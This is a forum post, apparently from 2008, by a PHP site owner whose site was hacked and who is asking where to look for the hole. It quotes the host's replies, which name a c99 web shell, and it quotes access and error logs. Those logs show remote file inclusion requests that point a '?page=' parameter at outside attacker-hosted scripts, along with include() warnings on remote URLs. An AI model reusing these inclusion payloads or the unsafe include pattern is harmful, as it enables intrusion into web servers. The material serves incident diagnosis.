Hello, everyone.
I have a php web site.
It got hacked and several things happened.
The index.php was replaced with a new file.
A new file was uploaded. csvxunon.php that was full of hacker code (the security admins deleted before I could get a copy sorry).
So, I changed my password and emailed the security team.
At best, I got a cryptic response. I am sure that the information is useful, but if I have to fix one of my php scripts to make it secure, I'm going to need to know which one it is. There are hundreds of pages.
So if anyone can make sense of these log files, I'd really love to hear from you.
I'll include both tech responses, but the second at least narrows down the tech's opinion of the lines where the breach occurs. I removed my domain and user names for safety and modified the ips in case those are my hosting companies ip's.
First are those ip's for my web server company hosting my site or for hacker tools.
The second response
Where do I begin to look for the code that is being exploited in this way? I've got hundreds of php files with scripts in them, and the security tech is not being helpful any more. I don't mind researching and fixing it myself, but goodness, where do I start? There is a log file on the server as well showing many reported errors while the attack was happening.
I have a php web site.
It got hacked and several things happened.
The index.php was replaced with a new file.
A new file was uploaded. csvxunon.php that was full of hacker code (the security admins deleted before I could get a copy sorry).
So, I changed my password and emailed the security team.
At best, I got a cryptic response. I am sure that the information is useful, but if I have to fix one of my php scripts to make it secure, I'm going to need to know which one it is. There are hundreds of pages.
So if anyone can make sense of these log files, I'd really love to hear from you.
I'll include both tech responses, but the second at least narrows down the tech's opinion of the lines where the breach occurs. I removed my domain and user names for safety and modified the ips in case those are my hosting companies ip's.
Code:
Your account is being compromised through an insecure script on the account. You should either remove this script or see if there is a newer version of the script available.
/home/xeditedx/public_html/xdomainEditedx/cvsxunon.php:HG-PHPSHELL.c99.Fragment.AB FOUND
XX.YYY.1Y0.Z /index.php?pagedb=privacy//?page=[URL unfurl="true"]http://jaramadonna.altervista.org/id.txt?[/URL] 503
XXX.34.1Y3.Z2 //?page=[URL unfurl="true"]http://www.domsete.com.br/dom730/images/mambo???[/URL] 200
XXX.34.1Y3.Z2 //?page=[URL unfurl="true"]http://www.domsete.com.br/dom730/images/joomla???[/URL] 200
XXX.1Y2.9Z.2zz //?page=[URL unfurl="true"]http://h1.ripway.com/egre23/egre.txt???[/URL] 503
...hundreds of lines of this stuff ....
First are those ip's for my web server company hosting my site or for hacker tools.
The second response
Code:
Hello, Yes we removed the file already. As to how it got there, please refer to the previously provided logs:
X7.Y01.3Y.ZZ1 //?page=http%3A%2F%2Fcodedviro.50webs.com%2Fmypass.php%3F%3F&act=img&img=home 200
X7.Y01.3Y.ZZ1 //?page=http%3A%2F%2Fcodedviro.50webs.com%2Fmypass.php%3F%3F&act=img&img=forward 200
X7.Y01.3Y.ZZ1 //?page=http%3A%2F%2Fcodedviro.50webs.com%2Fmypass.php%3F%3F&act=img&img=back 200
X7.Y01.3Y.ZZ1 //?page=http%3A%2F%2Fcodedviro.50webs.com%2Fmypass.php%3F%3F&act=img&img=refresh 200
67.201.38.211 //?page=http%3A%2F%2Fcodedviro.50webs.com%2Fmypass.php%3F%3F&act=img&img=up 200
That is a snippet of how your account is getting exploited. It looks like one of your scripts parses through a ?page variable that is getting exploited.
Where do I begin to look for the code that is being exploited in this way? I've got hundreds of php files with scripts in them, and the security tech is not being helpful any more. I don't mind researching and fixing it myself, but goodness, where do I start? There is a log file on the server as well showing many reported errors while the attack was happening.
Code:
[13-Jul-2008 23:18:02] PHP Warning: include() [<a href='function.include'>function.include</a>]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/myUsername/public_html/myDomain/index.php on line 23
[13-Jul-2008 23:18:02] PHP Warning: include([URL unfurl="true"]http://dolkenyot.caem??.php)[/URL] [<a href='function.include'>function.include</a>]: failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/myUserName/public_html/myDomain/index.php on line 23
..pages of this stuff..